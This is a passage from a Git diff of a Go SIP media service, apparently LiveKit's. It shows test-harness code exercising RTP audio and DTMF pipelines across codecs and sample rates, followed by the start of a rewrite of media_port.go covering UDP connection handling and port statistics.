h.pipeline != nil { + _ = h.pipeline.Close() + } + _ = local.Close() + _ = remote.Close() + }) + return h +} + +func (h *pipelineHarness) mediaConfig() *sdp.MediaConfig { + return &sdp.MediaConfig{ + Local: h.local.addr, + Remote: h.remote.addr, + Audio: sdp.AudioConfig{ + Codec: h.codec, + Type: h.audioPT, + DTMFType: h.dtmfPT, + }, + } +} + +func (h *pipelineHarness) configure(codec msdk.AudioCodec, audioPT, dtmfPT byte, dtmfAudio bool) { + h.t.Helper() + h.codec = codec + h.audioPT = audioPT + h.dtmfPT = dtmfPT + h.conf.opts = &MediaOptions{DTMFAudio: dtmfAudio} + + pipe, err := NewMediaPortPipeline(h.conf, h.mediaConfig(), h.port, h.audioIn, h.dtmfIn, h.audioIn.SampleRate()) + require.NoError(h.t, err) + audioToPort, dtmfToPort := pipe.GetConnectors() + h.pipeline = pipe + if old := h.audioOut.Swap(audioToPort); old != nil { + _ = old.Close() + } + if old := h.dtmfOut.Swap(dtmfToPort); old != nil { + _ = old.Close() + } +} + +func (h *pipelineHarness) reconfigure(codec msdk.AudioCodec, audioPT, dtmfPT byte, dtmfAudio bool) { + h.t.Helper() + if h.pipeline != nil { + require.NoError(h.t, h.pipeline.Close()) + } + h.port.Reopen() + h.ssrcCount.Store(0) + h.packetCount.Store(0) + h.configure(codec, audioPT, dtmfPT, dtmfAudio) +} + +func (h *pipelineHarness) drainRemote() { + for { + select { + case <-h.remote.buf: + default: + return + } + } +} + +func (h *pipelineHarness) roomFrame() msdk.PCM16Sample { + sampleRate := h.audioOut.SampleRate() + n := sampleRate / int(time.Second/msrtp.DefFrameDur) + return tonePCM(sampleRate, n, 10000) +} + +func (h *pipelineHarness) codecFrame() msdk.PCM16Sample { + rate := h.codec.Info().SampleRate + n := rate / int(time.Second/msrtp.DefFrameDur) + return tonePCM(rate, n, 12000) +} + +func (h *pipelineHarness) readRemotePacket(timeout time.Duration) (*rtp.Packet, bool) { + h.t.Helper() + select { + case raw := <-h.remote.buf: + var pkt rtp.Packet + require.NoError(h.t, pkt.Unmarshal(raw)) + return &pkt, true + case <-time.After(timeout): + return nil, false + } +} + +func (h *pipelineHarness) injectRTP(pkt *rtp.Packet) { + h.t.Helper() + raw, err := pkt.Marshal() + require.NoError(h.t, err) + _, err = h.remote.WriteToUDPAddrPort(raw, h.local.addr) + require.NoError(h.t, err) +} + +func (h *pipelineHarness) injectAudio(ssrc uint32, seq uint16, ts uint32, pcm msdk.PCM16Sample) { + h.t.Helper() + clock := h.codec.Info().RTPClockRate + if clock == 0 { + clock = h.codec.Info().SampleRate + } + var buf msrtp.Buffer + stream := msrtp.NewSeqWriter(&buf).NewStream(h.audioPT, clock) + enc := msrtp.EncodePCM(stream, h.codec) + require.NoError(h.t, enc.WriteSample(pcm)) + require.NoError(h.t, enc.Close()) + require.NotEmpty(h.t, buf, "codec produced no RTP") + for i, pkt := range buf { + pkt.Header.SSRC = ssrc + pkt.Header.SequenceNumber = seq + uint16(i) + if i == 0 { + pkt.Header.Timestamp = ts + } + h.injectRTP(pkt) + } +} + +func (h *pipelineHarness) injectDTMFDigit(ssrc uint32, digit string, ts uint32) { + h.t.Helper() + require.NotEmpty(h.t, digit) + pt := h.dtmfPT + if pt == 0 { + pt = testDTMFPT + } + var payload [4]byte + n, err := dtmf.Encode(payload[:], dtmf.Event{ + Digit: digit[0], + Volume: 10, + Dur: 800, + End: true, + }) + require.NoError(h.t, err) + h.injectRTP(&rtp.Packet{ + Header: rtp.Header{ + Version: 2, + PayloadType: pt, + SequenceNumber: 1, + Timestamp: ts, + SSRC: ssrc, + Marker: true, + }, + Payload: payload[:n], + }) +} + +func (h *pipelineHarness) runDirections(t *testing.T) { + t.Run("audio_from_room", h.testAudioFromRoom) + t.Run("audio_from_port", h.testAudioFromPort) + t.Run("dtmf_from_room", h.testDTMFFromRoom) + t.Run("dtmf_from_port", h.testDTMFFromPort) +} + +func (h *pipelineHarness) testAudioFromRoom(t *testing.T) { + h.drainRemote() + sample := h.roomFrame() + for range 5 { + require.NoError(t, h.audioOut.WriteSample(sample)) + } + deadline := time.Now().Add(time.Second) + found := false + for time.Now().Before(deadline) && !found { + pkt, ok := h.readRemotePacket(50 * time.Millisecond) + if !ok { + continue + } + if pkt.PayloadType == h.audioPT && len(pkt.Payload) > 0 { + found = true + } + } + require.True(t, found, "expected RTP audio toward the peer") +} + +func (h *pipelineHarness) testAudioFromPort(t *testing.T) { + before := h.roomAudio.len() + packetsBefore := h.packetCount.Load() + clock := h.codec.Info().RTPClockRate + if clock == 0 { + clock = h.codec.Info().SampleRate + } + samplesPerFrame := uint32(clock / int(time.Second/msrtp.DefFrameDur)) + sample := h.codecFrame() + for i := uint16(0); i < 5; i++ { + h.injectAudio(0xA11CE, 1+i, samplesPerFrame+uint32(i)*samplesPerFrame, sample) + } + require.Eventually(t, func() bool { + return h.packetCount.Load() >= packetsBefore+5 + }, time.Second, 5*time.Millisecond, "RTP should be accepted") + require.Eventually(t, func() bool { + return h.roomAudio.len() > before + }, time.Second, 5*time.Millisecond, "decoded PCM should reach room (packets=%d input=%d failed=%d ignored=%d room=%d)", + h.packetCount.Load(), + h.pipeline.conf.stats.InputPackets.Load(), + h.pipeline.conf.stats.FailedPackets.Load(), + h.pipeline.conf.stats.IgnoredPackets.Load(), + h.roomAudio.len(), + ) + require.Greater(t, pcmEnergy(h.roomAudio.since(before)), int64(0), "decoded room audio should carry energy") +} + +func (h *pipelineHarness) testDTMFFromRoom(t *testing.T) { + h.drainRemote() + if h.dtmfPT == 0 { + require.NoError(t, h.dtmfOut.WriteSample("5")) + h.drainRemote() + return + } + + // dtmf.Write paces a 250ms tone on a real ticker. Assert the first + // telephone-event and let pipeline Close cancel the rest. + go func() { + _ = h.dtmfOut.WriteSample("5") + }() + deadline := time.Now().Add(time.Second) + for time.Now().Before(deadline) { + pkt, ok := h.readRemotePacket(20 * time.Millisecond) + if ok && pkt.PayloadType == h.dtmfPT { + return + } + } + t.Fatal("DTMF enabled: expected telephone-event RTP") +} + +func (h *pipelineHarness) testDTMFFromPort(t *testing.T) { + before := len(h.roomDTMF.snapshot()) + packetsBefore := h.packetCount.Load() + h.injectDTMFDigit(0xD7DF, "7", 8000) + require.Eventually(t, func() bool { + return h.packetCount.Load() > packetsBefore + }, time.Second, 5*time.Millisecond, "RTP should be accepted") + if h.dtmfPT == 0 { + require.Equal(t, before, len(h.roomDTMF.snapshot()), "DTMF disabled: must not reach room") + return + } + require.Eventually(t, func() bool { + return len(h.roomDTMF.snapshot()) > before + }, time.Second, 5*time.Millisecond) + got := h.roomDTMF.snapshot()[before:] + if assert.NotEmpty(t, got) { + assert.Equal(t, "7", got[0]) + } +} + +func tonePCM(rate, samples int, amp int16) msdk.PCM16Sample { + out := make(msdk.PCM16Sample, samples) + for i := range out { + // Simple square-ish tone so PCMU round-trip keeps energy. + if (i/(rate/400))%2 == 0 { + out[i] = amp + } else { + out[i] = -amp + } + } + return out +} + +func pcmEnergy(s msdk.PCM16Sample) int64 { + var sum int64 + for _, v := range s { + if v < 0 { + v = -v + } + sum += int64(v) + } + return sum +} + +type testCodecSpec struct { + name string + sdp string +} + +type testDTMFSpec struct { + name string + pt byte + audio bool +} + +var ( + pipelineTestCodecs = allAudioCodecs() + pipelineTestRates = []int{8000, 16000, 48000} + pipelineTestDTMF = []testDTMFSpec{ + {name: "dtmf_disabled", pt: 0, audio: false}, + {name: "dtmf_event", pt: testDTMFPT, audio: false}, + {name: "dtmf_event_audio", pt: testDTMFPT, audio: true}, + } +) + +func TestMediaPipelinePermutations(t *testing.T) { + for _, spec := range pipelineTestCodecs { + t.Run(spec.Info().SDPName, func(t *testing.T) { + codec := spec.(msdk.AudioCodec) + pt := testAudioPT(codec) + for _, rate := range pipelineTestRates { + for _, d := range pipelineTestDTMF { + t.Run(fmt.Sprintf("%dHz/%s", rate, d.name), func(t *testing.T) { + h := newPipelineHarness(t, rate) + h.configure(codec, pt, d.pt, d.audio) + h.runDirections(t) + }) + } + } + }) + } +} + +func TestMediaPipelineTeardownMultiSSRC(t *testing.T) { + codec := audioCodecByName(t, g711.ULawSDPNameAndRate) + h := newPipelineHarness(t, RoomSampleRate) + h.configure(codec, testAudioPT(codec), testDTMFPT, false) + sample := h.codecFrame() + + h.injectAudio(0x11111111, 1, 160, sample) + h.injectAudio(0x22222222, 1, 160, sample) + + require.Eventually(t, func() bool { + return h.ssrcCount.Load() >= 2 && h.packetCount.Load() >= 2 + }, time.Second, 5*time.Millisecond, "expected AcceptStream and HandleRTP for two SSRCs") + assert.Equal(t, uint64(2), h.ssrcCount.Load()) + assert.Equal(t, uint64(2), h.packetCount.Load()) + + done := make(chan error, 1) + go func() { + done <- h.pipeline.Close() + }() + select { + case err := <-done: + require.NoError(t, err) + case <-time.After(2 * time.Second): + t.Fatal("pipeline.Close hung with multiple SSRCs") + } +} + +func TestMediaPipelineConcurrentSSRCPump(t *testing.T) { + const ( + ssrcCount = 3 + packets = 30 // Currently the built-in limit of media-sdk's ssrc mux + ) + codec := audioCodecByName(t, g711.ULawSDPNameAndRate) + h := newPipelineHarness(t, RoomSampleRate) + h.configure(codec, testAudioPT(codec), testDTMFPT, false) + + silence := make(msdk.PCM16Sample, codec.Info().SampleRate/int(time.Second/msrtp.DefFrameDur)) + var encoded msrtp.Buffer + clock := codec.Info().RTPClockRate + if clock == 0 { + clock = codec.Info().SampleRate + } + enc := msrtp.EncodePCM(msrtp.NewSeqWriter(&encoded).NewStream(h.audioPT, clock), h.codec) + require.NoError(t, enc.WriteSample(silence)) + require.NoError(t, enc.Close()) + require.NotEmpty(t, encoded, "codec produced no RTP") + payload := slices.Clone(encoded[0].Payload) + + pkt := &rtp.Packet{ + Header: rtp.Header{ + Version: 2, + PayloadType: h.audioPT, + }, + Payload: payload, + } + for i := range packets { + pkt.SequenceNumber = uint16(i) + pkt.SSRC = uint32(i % ssrcCount) + h.injectRTP(pkt) + } + + require.Eventually(t, func() bool { return h.ssrcCount.Load() == ssrcCount }, time.Second, time.Millisecond, "expected %d SSRCs", ssrcCount) + assert.Eventually(t, func() bool { return h.packetCount.Load() == packets }, time.Second, time.Millisecond, "expected %d packets", packets) + assert.Equal(t, uint64(ssrcCount), h.ssrcCount.Load()) + assert.Equal(t, uint64(packets), h.packetCount.Load()) + + done := make(chan error, 1) + go func() { + done <- h.pipeline.Close() + }() + select { + case err := <-done: + require.NoError(t, err) + case <-time.After(2 * time.Second): + t.Fatal("pipeline.Close hung under concurrent SSRC pumps") + } +} + +func TestMediaPipelineReuseUDPConn(t *testing.T) { + const rate = 48000 + d := pipelineTestDTMF[1] // event-only + + for _, from := range pipelineTestCodecs { + t.Run("from_"+from.Info().SDPName, func(t *testing.T) { + for _, to := range pipelineTestCodecs { + t.Run("to_"+to.Info().SDPName, func(t *testing.T) { + c1 := from.(msdk.AudioCodec) + c2 := to.(msdk.AudioCodec) + h := newPipelineHarness(t, rate) + h.configure(c1, testAudioPT(c1), d.pt, d.audio) + t.Run("gen1", h.runDirections) + h.reconfigure(c2, testAudioPT(c2), d.pt, d.audio) + t.Run("gen2", h.runDirections) + }) + } + }) + } +} + +func generateDTMFPackets(t *testing.T, digits string) [][]*rtp.Packet { + t.Helper() + var buf msrtp.Buffer + packets := make([][]*rtp.Packet, len(digits)) + last := len(buf) + w := msrtp.NewSeqWriter(&buf).NewStream(101, dtmf.SampleRate) + timestamp := uint32(1000) + for i := range digits { + err := dtmf.Write(context.Background(), nil, w, timestamp, digits[i:i+1]) + require.NoError(t, err) + require.NotEmpty(t, buf) + timestamp += uint32(dtmf.SampleRate / 2) + packets[i] = slices.Clone(buf[last:]) + last = len(buf) + } + return packets +} + +func dropPackets(t *testing.T, dropType string, packets []*rtp.Packet) []*rtp.Packet { + t.Helper() + switch dropType { + case "none": + return packets + case "first": + require.Greater(t, len(packets), 3) + return packets[3:] + case "last": + require.Greater(t, len(packets), 3) + return packets[:len(packets)-3] + case "middle": + require.Greater(t, len(packets), 6) + ret := slices.Clone(packets[:3]) + ret = append(ret, packets[len(packets)-3:]...) + return ret + default: + t.Fatal("unknown drop type: " + dropType) + return nil + } +} + +func TestMediaPipelineDTMF(t *testing.T) { + // Multi-digit test, including correct handling of lost packets + digitCases := []string{"1", "12", "123"} + lossCases := []string{"none", "first", "last", "middle"} + + for _, digits := range digitCases { + packets := generateDTMFPackets(t, digits) + for _, lossPackets := range lossCases { + t.Run(fmt.Sprintf("digits=%s/loss=%s", digits, lossPackets), func(t *testing.T) { + got := &dtmfCollector{} + p := &mediaPortPipeline{dtmfHandler: got} + p.lastDTMFEvent.Store(math.MaxUint64) + for _, digitPackets := range packets { + sendPackets := dropPackets(t, lossPackets, digitPackets) + t.Logf("sending %d/%d packets", len(sendPackets), len(digitPackets)) + for _, pkt := range sendPackets { + h := pkt.Header + t.Logf("sending packet: seq=%d, ts=%d, marker=%t", h.SequenceNumber, h.Timestamp, h.Marker) + require.NoError(t, p.handleEventRTP(&h, pkt.Payload)) + } + } + t.Logf("sent: %s", digits) + t.Logf("got: %s", got.String()) + require.Equal(t, digits, got.String()) + }) + } + } +} + +func TestMediaPortDTMFSameTimestamp(t *testing.T) { + // Verify that each distinct event code is still reported even when timestamps are shared. + // The spec is clear on needing a separate timestamp, but some carriers don't adhere to it. + got := &dtmfCollector{} + p := &mediaPortPipeline{dtmfHandler: got} + p.lastDTMFEvent.Store(math.MaxUint64) + digits := "123" + for i := range digits { + var encoded [4]byte + n, err := dtmf.Encode(encoded[:], dtmf.Event{ + Digit: digits[i], + Volume: 10, + Dur: 800, + End: true, + }) + require.NoError(t, err) + h := &rtp.Header{ + Version: 2, + PayloadType: testDTMFPT, + SequenceNumber: uint16(i), + Timestamp: uint32(100000), // Ruse this timestamp for all digits + SSRC: 12345, + Marker: true, + } + require.NoError(t, p.handleEventRTP(h, encoded[:n])) + } + require.Equal(t, digits, got.String()) +} diff --git a/pkg/sip/media_port.go b/pkg/sip/media_port.go index 12f3131f0..9305ebaba 100644 --- a/pkg/sip/media_port.go +++ b/pkg/sip/media_port.go @@ -1,1054 +1,1088 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "bytes" - "errors" - "fmt" - "io" - "math" - "net" - "net/netip" - "os" - "runtime/debug" - "sync" - "sync/atomic" - "time" - - "github.com/frostbyte73/core" - psdp "github.com/pion/sdp/v3" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/rtp" - "github.com/livekit/media-sdk/sdp" - "github.com/livekit/media-sdk/srtp" - "github.com/livekit/mediatransportutil/pkg/rtcconfig" - "github.com/livekit/protocol/logger" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/stats" -) - -const ( - defaultMediaTimeout = 15 * time.Second - defaultMediaTimeoutInitial = 30 * time.Second - dstChangePrintInterval = 10 * 1000 * 1000 * 1000 // 10 seconds, in nanoseconds - srcChangePrintInterval = dstChangePrintInterval - holdEnabled = false // Disabled in current code -) - -type PortStatsSnapshot struct { - Streams uint64 `json:"streams"` - Packets uint64 `json:"packets"` - IgnoredPackets uint64 `json:"packets_ignored"` - InputPackets uint64 `json:"packets_input"` - FailedPackets uint64 `json:"packets_failed"` - - MuxPackets uint64 `json:"mux_packets"` - MuxBytes uint64 `json:"mux_bytes"` - MuxResets uint64 `json:"mux_resets"` - MuxGaps uint64 `json:"mux_gaps"` - MuxGapsSum uint64 `json:"mux_gaps_sum"` - MuxLate uint64 `json:"mux_late"` - MuxLateSum uint64 `json:"mux_late_sum"` - MuxRapidPackets uint64 `json:"mux_rapid_packets"` - MuxDelayedPackets uint64 `json:"mux_delayed_packets"` - MuxDelayedSum uint64 `json:"mux_delayed_sum"` - - AudioPackets uint64 `json:"audio_packets"` - AudioBytes uint64 `json:"audio_bytes"` - - AudioInFrames uint64 `json:"audio_in_frames"` - AudioInSamples uint64 `json:"audio_in_samples"` - AudioOutFrames uint64 `json:"audio_out_frames"` - AudioOutSamples uint64 `json:"audio_out_samples"` - - AudioRX float64 `json:"audio_rx"` - AudioTX float64 `json:"audio_tx"` - - DTMFPackets uint64 `json:"dtmf_packets"` - DTMFBytes uint64 `json:"dtmf_bytes"` - - JitterBufferPacketsLost uint64 `json:"jitter_buffer_packets_lost"` - JitterBufferPacketsDropped uint64 `json:"jitter_buffer_packets_dropped"` - - LatencyInE2E LatencyStatsSnapshot `json:"latency_in_e2e"` - LatencyOut LatencyStatsSnapshot `json:"latency_out"` - - Closed bool `json:"closed"` -} - -type PortStats struct { - Streams atomic.Uint64 - Packets atomic.Uint64 - IgnoredPackets atomic.Uint64 - InputPackets atomic.Uint64 - FailedPackets atomic.Uint64 - - MuxStats rtpCountingStats - - AudioPackets atomic.Uint64 - AudioBytes atomic.Uint64 - - AudioInFrames atomic.Uint64 - AudioInSamples atomic.Uint64 - AudioOutFrames atomic.Uint64 - AudioOutSamples atomic.Uint64 - - AudioRX atomic.Uint64 // based on AudioInSamples - AudioTX atomic.Uint64 // based on AudioOutSamples - - DTMFPackets atomic.Uint64 - DTMFBytes atomic.Uint64 - - JitterBufferPacketsLost atomic.Uint64 - JitterBufferPacketsDropped atomic.Uint64 - - LatencyInE2E LatencyStats - LatencyOut LatencyStats - - Closed atomic.Bool - - mu sync.Mutex - last struct { - Time time.Time - AudioInSamples uint64 - AudioOutSamples uint64 - } -} - -func (s *PortStats) Load() PortStatsSnapshot { - return PortStatsSnapshot{ - Streams: s.Streams.Load(), - Packets: s.Packets.Load(), - IgnoredPackets: s.IgnoredPackets.Load(), - InputPackets: s.InputPackets.Load(), - FailedPackets: s.FailedPackets.Load(), - MuxPackets: s.MuxStats.packets.Load(), - MuxBytes: s.MuxStats.bytes.Load(), - MuxResets: s.MuxStats.resets.Load(), - MuxGaps: s.MuxStats.gaps.Load(), - MuxGapsSum: s.MuxStats.gapsSum.Load(), - MuxLate: s.MuxStats.late.Load(), - MuxLateSum: s.MuxStats.lateSum.Load(), - MuxRapidPackets: s.MuxStats.rapidPackets.Load(), - MuxDelayedPackets: s.MuxStats.delayedPackets.Load(), - MuxDelayedSum: s.MuxStats.delayedSum.Load(), - AudioPackets: s.AudioPackets.Load(), - AudioBytes: s.AudioBytes.Load(), - AudioInFrames: s.AudioInFrames.Load(), - AudioInSamples: s.AudioInSamples.Load(), - AudioOutFrames: s.AudioOutFrames.Load(), - AudioOutSamples: s.AudioOutSamples.Load(), - AudioRX: math.Float64frombits(s.AudioRX.Load()), - AudioTX: math.Float64frombits(s.AudioTX.Load()), - DTMFPackets: s.DTMFPackets.Load(), - DTMFBytes: s.DTMFBytes.Load(), - JitterBufferPacketsLost: s.JitterBufferPacketsLost.Load(), - JitterBufferPacketsDropped: s.JitterBufferPacketsDropped.Load(), - LatencyInE2E: s.LatencyInE2E.Load(), - LatencyOut: s.LatencyOut.Load(), - Closed: s.Closed.Load(), - } -} - -func (s *PortStats) Update() { - s.mu.Lock() - defer s.mu.Unlock() - t := time.Now() - lastTime := s.last.Time - if lastTime.IsZero() { - lastTime = t - } - dt := t.Sub(lastTime).Seconds() - - curAudioInSamples := s.AudioInSamples.Load() - curAudioOutSamples := s.AudioOutSamples.Load() - - if dt > 0 { - rxSamples := curAudioInSamples - s.last.AudioInSamples - txSamples := curAudioOutSamples - s.last.AudioOutSamples - - rxRate := float64(rxSamples) / dt - txRate := float64(txSamples) / dt - - s.AudioRX.Store(math.Float64bits(rxRate)) - s.AudioTX.Store(math.Float64bits(txRate)) - } - - s.last.Time = t - s.last.AudioInSamples = curAudioInSamples - s.last.AudioOutSamples = curAudioOutSamples -} - -type UDPConn interface { - net.Conn - ReadFromUDPAddrPort(b []byte) (n int, addr netip.AddrPort, err error) - WriteToUDPAddrPort(b []byte, addr netip.AddrPort) (int, error) -} - -func newUDPConn(log logger.Logger, conn UDPConn, symmetric bool) *udpConn { - c := &udpConn{ - UDPConn: conn, - log: log, - } - c.symmetric.Store(symmetric) - return c -} - -type udpConn struct { - UDPConn - closed atomic.Bool - discardStop atomic.Bool - discardWG sync.WaitGroup - log logger.Logger - symmetric atomic.Bool // send packets to the same address we receive them from - src atomic.Pointer[netip.AddrPort] - dst atomic.Pointer[netip.AddrPort] - srcChangeCount atomic.Uint64 - dstChangeCount atomic.Uint64 - lastSrcPrint atomic.Int64 - lastDstPrint atomic.Int64 -} - -func (c *udpConn) SetSymmetric(enabled bool) { - c.symmetric.Store(enabled) -} - -func (c *udpConn) GetSrc() (netip.AddrPort, bool) { - ptr := c.src.Load() - if ptr == nil { - return netip.AddrPort{}, false - } - addr := *ptr - return addr, addr.IsValid() -} - -func (c *udpConn) SetDst(addr netip.AddrPort) { - if addr.IsValid() { - prev := c.dst.Swap(&addr) - if prev == nil || !prev.IsValid() { - c.log.Debugw("setting media destination", "addr", addr.String()) - } else if *prev != addr { - changeCount := c.dstChangeCount.Add(1) - now := time.Now().UnixNano() - if now-c.lastDstPrint.Load() > dstChangePrintInterval { - c.lastDstPrint.Store(now) - c.log.Infow("changing media destination", "prev", (*prev).String(), "addr", addr.String(), "count", changeCount) - } - } - } -} - -func (c *udpConn) Read(b []byte) (n int, err error) { - if c.closed.Load() { - return 0, io.EOF - } - n, addr, err := c.ReadFromUDPAddrPort(b) - if c.closed.Load() && errors.Is(err, os.ErrDeadlineExceeded) { - return n, io.EOF - } - prev := c.src.Swap(&addr) - if prev == nil || !prev.IsValid() { - c.log.Debugw("setting media source", "addr", addr.String()) - } else if *prev != addr { - changeCount := c.srcChangeCount.Add(1) - now := time.Now().UnixNano() - if now-c.lastSrcPrint.Load() > srcChangePrintInterval { - c.lastSrcPrint.Store(now) - c.srcChangeCount.Add(1) - c.log.Infow("changing media source", "prev", (*prev).String(), "addr", addr.String(), "count", changeCount) - } - } - if c.symmetric.Load() { - dst := c.dst.Load() - if dst != nil && dst.Addr().IsUnspecified() { - // On hold: the peer may keep sending, but it doesn't want our media. - } else if dst == nil || !dst.IsValid() || *dst != addr { - c.SetDst(addr) - } - } - return n, err -} - -func (c *udpConn) Write(b []byte) (n int, err error) { - dst := c.dst.Load() - if dst == nil || dst.Addr().IsUnspecified() { // No remote or on hold - return len(b), nil // ignore - } - return c.WriteToUDPAddrPort(b, *dst) -} - -func (c *udpConn) discardLoop() error { - defer c.discardWG.Done() - - var err error - buf := make([]byte, 1024) - packetsDiscarded := uint64(0) - for !c.discardStop.Load() { - err = c.UDPConn.SetReadDeadline(time.Now().Add(rtp.DefFrameDur)) - if err != nil { - if !errors.Is(err, net.ErrClosed) { - c.log.Warnw("error encountered while setting read deadline", err) - } - break - } - _, _, err = c.ReadFromUDPAddrPort(buf) - if err != nil { - if errors.Is(err, os.ErrDeadlineExceeded) { - continue - } - if errors.Is(err, net.ErrClosed) { - break - } - c.log.Warnw("error encountered while reading UDP packets", err) - break - } - packetsDiscarded++ - } - if err != nil || packetsDiscarded > 0 { - c.log.Debugw("Stopped discarding packets", "packetsDiscarded", packetsDiscarded, "error", err) - } - err = c.UDPConn.SetReadDeadline(time.Time{}) // clear deadline - if err != nil && !errors.Is(err, net.ErrClosed) { - c.log.Warnw("error encountered while clearing read deadline", err) - } - return err -} - -func (c *udpConn) startDiscarding() { - c.discardWG.Add(1) - go c.discardLoop() -} - -func (c *udpConn) stopDiscarding() { - c.discardStop.Store(true) - c.discardWG.Wait() -} - -func (c *udpConn) unwrap() UDPConn { - c.Close() - return c.UDPConn -} - -func (c *udpConn) Reopen() { - c.closed.Store(false) - c.UDPConn.SetReadDeadline(time.Time{}) // Clear deadline, if set -} - -func (c *udpConn) Close() error { - c.stopDiscarding() - c.closed.Store(true) - c.UDPConn.SetReadDeadline(time.Now().Add(-time.Second)) // Kill ongoing reads - return nil -} - -type MediaOptions struct { - IP netip.Addr - Ports rtcconfig.PortRange - MediaTimeoutInitial time.Duration - MediaTimeout time.Duration - SymmetricRTP bool - IgnoreLocalAddrInSDP bool // enable symmetric RTP if local IP is specified in SDP - Stats *PortStats - EnableJitterBuffer bool - LogSignalChanges bool - DrainingIdleTimeout time.Duration - DrainingDuration time.Duration - Codecs *msdk.CodecSet - Encryption sdp.Encryption - DTMFAudio bool -} - -func (o *MediaOptions) ApplyDefaults() { - if o.MediaTimeoutInitial <= 0 { - o.MediaTimeoutInitial = defaultMediaTimeoutInitial - } - if o.MediaTimeout <= 0 { - o.MediaTimeout = defaultMediaTimeout - } - if o.Stats == nil { - o.Stats = &PortStats{} - } - if o.Codecs == nil { - o.Codecs = defaultCodecs - } - if o.Ports.Start == 0 { - o.Ports.Start = config.DefaultRTPPortRange.Start - } - if o.Ports.End == 0 { - o.Ports.End = config.DefaultRTPPortRange.End - } -} - -// MediaPort is the insulated media-plane API: UDP/RTP to the wire, SDP negotiation, -// and audio/DTMF endpoints. It does not know about calls, rooms, or SIP dialogs. -type MediaPort interface { - Close() - CloseWait() - - // GetOutboundAudioWriter returns the LK room -> SIP writer. - GetOutboundAudioWriter() msdk.PCM16Writer - // GetOutboundDTMFWriter returns the LK room -> SIP DTMF writer. - GetOutboundDTMFWriter() msdk.WriteCloser[string] - - // WriteInboundAudioTo tells port where to write inbound SIP audio. - // - // MediaPort.Close() will propagate to the argument writer. The caller is - // responsible for closing the returned media writer. - WriteInboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer - - // WriteInboundDTMFTo tells port where to write inbound SIP DTMF. - // - // MediaPort.Close() will propagate to the argument writer. The caller is - // responsible for closing the returned media writer. - WriteInboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] - - // If there is no offer, this generates an offer. - // If there is an offer, this simply returns the SDP of that offer. - // An offer is cleared once a negotiation is successful. - GenerateOffer() ([]byte, error) - - // GenerateAnswer returns an encoded SDP answer for the given offer. - // This does not arm the media timeout, use SetTimeout to do so. - // - // SIDE EFFECT: May cause a rebuild of the pipeline. - GenerateAnswer(offer []byte) ([]byte, error) - - // ProcessAnswer processes an encoded SDP answer from the remote client. Returns an - // error if the answer is invalid, the offer has not yet been generated, or - // if media has already been negotiated. - // - // SIDE EFFECT: May cause a rebuild of the pipeline. - ProcessAnswer(answer []byte) error - - GetLocalSDP() ([]byte, error) - - // NegotiatedAudio returns the audio configuration chosen by SDP negotiation. - // Returns nil if media has not been negotiated yet. - // - // REQUIRES: The caller should not mutate the returned audio config. - NegotiatedAudio() *sdp.AudioConfig - - // SetTimeout resets the media timeout with the given values. - // - // NOTE: This method is likely to go through additional changes. - SetTimeout(initial, general time.Duration) - - Received() <-chan struct{} - MediaTimeout() <-chan struct{} -} - -func NewMediaPort(log logger.Logger, mon *stats.CallMonitor, opts *MediaOptions, targetSampleRate int) (MediaPort, error) { - return NewMediaPortWith(log, mon, nil, opts, targetSampleRate) -} - -func NewMediaPortWith(log logger.Logger, mon *stats.CallMonitor, conn UDPConn, opts *MediaOptions, targetSampleRate int) (MediaPort, error) { - if opts == nil { - opts = &MediaOptions{} - } - opts.ApplyDefaults() - if conn == nil { - // use an even RTP port (RFC 3550); some gateways misroute media when offered an odd one - c, err := rtp.ListenUDPEvenPortRange(opts.Ports.Start, opts.Ports.End, netip.AddrFrom4([4]byte{0, 0, 0, 0})) - if err != nil { - return nil, err - } - conn = c - } - var localCrypto []srtp.Profile - if opts.Encryption != sdp.EncryptionNone { - var err error - localCrypto, err = srtp.DefaultProfiles() - if err != nil { - return nil, err - } - } - p := &mediaPort{ - log: log, - opts: opts, - mon: mon, - externalIP: opts.IP, - timeoutKick: make(chan struct{}, 1), - port: newUDPConn(log, conn, opts.SymmetricRTP), - stats: opts.Stats, - codecs: opts.Codecs, - encryption: opts.Encryption, - localCrypto: localCrypto, - } - // Explicitly set sample rate. We manually create resamplers to include in latency - p.audioOut = msdk.NewWriteCloserSwitch[msdk.PCM16Sample](targetSampleRate) - p.audioIn = msdk.NewWriteCloserSwitch[msdk.PCM16Sample](targetSampleRate) - p.dtmfIn = msdk.NewWriteCloserSwitch[string](0) - p.dtmfOut = msdk.NewWriteCloserSwitch[string](0) - - p.port.startDiscarding() - p.timeoutInitial.Store(&opts.MediaTimeoutInitial) - p.timeoutGeneral.Store(&opts.MediaTimeout) - p.wg.Go(p.mediaTimeoutLoop) - p.log.Debugw("listening for media on UDP", "port", p.Port()) - return p, nil -} - -// mediaPort is the concrete MediaPort implementation. -type mediaPort struct { - log logger.Logger - wg sync.WaitGroup - opts *MediaOptions - mon *stats.CallMonitor - externalIP netip.Addr - port *udpConn - mediaReceived core.Fuse - packetCount atomic.Uint64 - lastPacketTime atomic.Int64 // UnixNano of last RTP packet, 0 if none - mediaTimeout core.Fuse - timeoutKick chan struct{} // wakes timeoutLoop when the deadline may have changed - timeoutStart atomic.Pointer[time.Time] - timeoutInitial atomic.Pointer[time.Duration] - timeoutGeneral atomic.Pointer[time.Duration] - closed core.Fuse - stats *PortStats - - targetSampleRate int - codecs *msdk.CodecSet - encryption sdp.Encryption - localCrypto []srtp.Profile // our SRTP material, generated once per port - - mu sync.RWMutex - pipeline *mediaPortPipeline - localSDP []byte - offer *sdp.Offer - negotiated *sdp.MediaConfig - - audioIn *msdk.WriteCloserSwitch[msdk.PCM16Sample] // SIP RTP -> LK PCM - audioOut *msdk.WriteCloserSwitch[msdk.PCM16Sample] // LK PCM -> SIP RTP - dtmfIn *msdk.WriteCloserSwitch[string] // SIP DTMF -> LK DTMF - dtmfOut *msdk.WriteCloserSwitch[string] // 